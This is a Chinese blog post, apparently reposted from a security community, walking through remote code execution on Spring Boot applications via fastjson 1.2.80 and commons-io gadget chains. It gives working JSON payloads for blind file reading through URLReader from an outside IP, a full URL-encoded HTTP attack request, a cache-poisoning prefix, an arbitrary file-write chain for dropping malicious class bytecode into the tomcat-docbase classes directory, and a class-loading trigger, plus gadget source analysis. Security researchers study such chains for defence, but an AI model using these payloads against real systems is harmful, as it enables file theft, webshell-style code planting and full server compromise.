首页 > 其他分享 >spring +fastjson 的 rce

spring +fastjson 的 rce

时间:2025-01-19 22:12:47浏览次数:1  
标签:fastjson 65% spring 22% 20% 0a% rce 61% 74%

前言

众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手

一、环境搭建

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>org.eclipse.jdt.core</artifactId>
    <version>1.9.22</version>
</dependency>

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.80</version>
</dependency>

大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用

https://github.com/luelueking/CVE-2022-25845-In-Spring

二、spring 加载 class 原理

一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase

这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的

三、fastjson 的利用

3.1 fastjson 读取文件

本地测试的话大家可以在服务器或者本地放一个文件

root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}

然后使用如下的 paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://ip/1.txt"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes":[102]
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

然后发送如下的请求

POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141

json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d

注意需要编码

回显如下

HTTP/1.1 200 
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116

{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}

其中 Zg== 解码就是我们读取的内容

然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中。

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存

然后我们看看读文件的原理

org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和 getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码

public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); 
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); 
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark;
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的 delegte 是什么呢?

ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

可以说和 sql 的盲注一模一样了

这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上

2.2 写文件

这个写文件的 paylaod 比较复杂

必不可少的依赖就是

<dependency>    
<groupId>commons-io</groupId>    
<artifactId>commons-io</artifactId>    
<version>2.7</version>
</dependency>

几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见

paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String",
          "value": "恶意字节码"
        },
        "charset": "iso-8859-1",
        "bufferSize": 1024
      },
      "branch": {
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.LockableFileWriter",
          "file": "写入路径",
          "charset": "iso-8859-1",
          "append": true
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch": true
    }
  },
  "b": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  },
  "c": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  }
}

XmlStreamReader

我们观察他的构造函数

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {
  this.defaultEncoding = defaultEncoding;
  BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
  BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
  this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
  this.reader = new InputStreamReader(pis, this.encoding);
  }

重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法

XmlStreamReader.<init>(InputStream, String, boolean, String)
 XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()
 BOMInputStream.getBOM()
BufferedInputStream.read()
 BufferedInputStream.fill()
 InputStream.read(byte[], int, int)

但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(
            InputStream input, OutputStream branch, boolean closeBranch) {
        super(input);
        this.branch = branch;
        this.closeBranch = closeBranch;
    }

可以看到是接受输出和输入流的,我们看到他的 read 方法

public int read() throws IOException {
        int ch = super.read();
        if (ch != -1) {
            branch.write(ch);
        }
        return ch;
    }

把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了

通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象

利用的是

ReaderInputStream + CharSequenceReader

ReaderInputStream.read ⏩ ReaderInputStream. fillBuffer

private void fillBuffer() throws IOException {
    if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {
        this.encoderIn.compact();
        int position = this.encoderIn.position();
        int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());
        if (c == -1) {
            this.endOfInput = true;
        } else {
            this.encoderIn.position(position + c);
        }

        this.encoderIn.flip();
    }

    this.encoderOut.compact();
    this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);
    this.encoderOut.flip();
}

CharSequenceReader.read

public int read(char[] array, int offset, int length) {
    if (this.idx >= this.end()) {
        return -1;
    } else {
        Objects.requireNonNull(array, "array");
        if (length >= 0 && offset >= 0 && offset + length <= array.length) {
            int count;
            if (this.charSequence instanceof String) {
                count = Math.min(length, this.end() - this.idx);
                ((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuilder) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuffer) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else {
                count = 0;

                for(int i = 0; i < length; ++i) {
                    int c = this.read();
                    if (c == -1) {
                        return count;
                    }

                    array[offset + i] = (char)c;
                    ++count;
                }

                return count;
            }
        } else {
            throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);
        }
    }
}

三、加载 class

这个 payload 就比较简单了


{
  "@type":"java.lang.Exception",
  "@type":"恶意类的名称,带上包名"
}

这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)

所以再次进入 checkAutoType 的时候 expectClass 不为空

最后

感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩

来源:【spring +fastjson 的 rce - 先知社区】,感谢【1341025112991831】

标签:fastjson,65%,spring,22%,20%,0a%,rce,61%,74%
From: https://www.cnblogs.com/o-O-oO/p/18680377

相关文章

  • 【详解】JavaSpringMVC+MyBitis+多数据源切换
    目录JavaSpringMVC+MyBatis+多数据源切换1.环境准备2.添加依赖3.配置多数据源4.创建数据源配置类5.动态数据源切换5.1动态数据源类5.2数据源上下文持有者5.3切面管理数据源选择5.4自定义注解6.使用示例6.1UserMapper6.2OrderMapper6.3Service......
  • 2025毕设springboot 基于web的家教管理系统论文+源码
    系统程序文件列表开题报告内容研究背景在当今社会,随着教育需求的多元化和个性化发展,家教服务逐渐成为众多家庭补充学校教育、提升孩子学习成绩的重要途径。然而,传统的家教市场存在信息不对称、管理不规范、服务质量参差不齐等问题,给家长和家教老师带来了诸多不便。随着互联......
  • 2025毕设springboot 基于Web的多功能游戏平台设计与实现论文+源码
    系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展和普及,网络游戏已成为人们休闲娱乐的重要方式之一。传统的游戏平台大多局限于单一的游戏类型或服务商,无法满足用户多样化的游戏需求。与此同时,随着Web技术的不断进步,基于Web的游戏平台凭借其跨平台、易访问、......
  • 计算机毕业设计Springboot大学生创新教育平台 基于Springboot的大学生创新创业教育平
    计算机毕业设计Springboot大学生创新教育平台3ky241z7(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着全球经济和科技的快速发展,创新已成为推动社会进步的重要动力。大学生作为未来社会的主要建设者和创新者,其创新能力的培养和......
  • 计算机毕业设计Springboot服装租赁系统 基于Spring Boot框架的服装租赁平台开发 Sprin
    计算机毕业设计Springboot服装租赁系统4jrvt1zd(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着时尚潮流的快速更迭,人们对于服装的需求日益多样化,但购买大量服装不仅成本高昂,还可能造成资源浪费。服装租赁系统应运而生,它为用户......
  • 文献阅读分享:《Top-K Off-Policy Correction for a REINFORCE Recommender System》
    Top-KOff-PolicyCorrectionforaREINFORCERecommenderSystemTheTwelfthACMInternationalConferenceonWebSearchandDataMining(WSDM’19)2019研究背景......
  • Spring,Spring Ioc,Bean详解
    Spring框架Spring框架是Java应用最广的框架,其的成功来自于理念,并非是技术,其中几个理念非常重要,例如IoC(控制反转),AOP(面向切面编程)Spring的优势低耦合/低侵入(解耦)Spring通过IoC(控制反转)和DI(依赖注入)来实现低耦合高内聚声明式事务管理Spring基于AOP的方......
  • windows快速部署minIO,springboot快速集成
    一、Windows快速部署1.在MinIO官网下载Windows版本2.只需要下载minIOserver即可 3.在下载好的文件夹下打开cmd我是下载到了D:\MinIOminio.exeserverD:\MinIO\Data--console-address":9000"--address":9090" 在浏览器输入localhost:9000即可正常使用4.每次都要......
  • 安全认证框架【springSecurity】进行数据库效验开箱即用。
    流程:注册---加密密码---保存数据库---登录---授权---认证---效验数据库账号密码---生成token存redis---返回前端第一步子模块引入依赖;版本号由父统一管理,这里有不理解的可以看我maven篇巩固一下。<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apac......
  • 计算机毕业设计Springboot洗衣店管理系统 基于SpringBoot的智能洗衣店管理系统 洗衣店
    计算机毕业设计Springboot洗衣店管理系统74t7o5qc(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着人们生活水平的提高和时间成本的增加,越来越多的人选择将洗衣服务外包给洗衣店。洗衣店行业逐渐发展壮大,但同时也面临着管理难题......